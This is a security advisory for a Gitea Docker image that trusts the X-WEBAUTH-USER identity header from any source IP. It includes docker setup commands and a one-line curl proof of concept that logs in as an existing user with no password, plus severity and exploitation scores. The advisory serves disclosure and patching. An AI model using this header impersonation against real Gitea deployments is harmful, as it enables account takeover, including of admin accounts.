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GHSA-f75j-4cw6-rmx4

CriticalCVSS 9.8 / 10
Published Jul 21, 2026·Last modified Jul 21, 2026
Affected Components(0)

No affected components available

Description

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSE_PROXY_TRUSTED_PROXIES = *

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

  • gitea/gitea Docker images (verified 1.26.2)
  • docker/root/etc/templates/app.ini:55
  • docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password "longpasswordhere1234" \
  --email alice@x.test --must-change-password=false

Now the attack::


curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
  | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
31.81%

The exploit probability is moderate. The vulnerability is likely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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Critical severity
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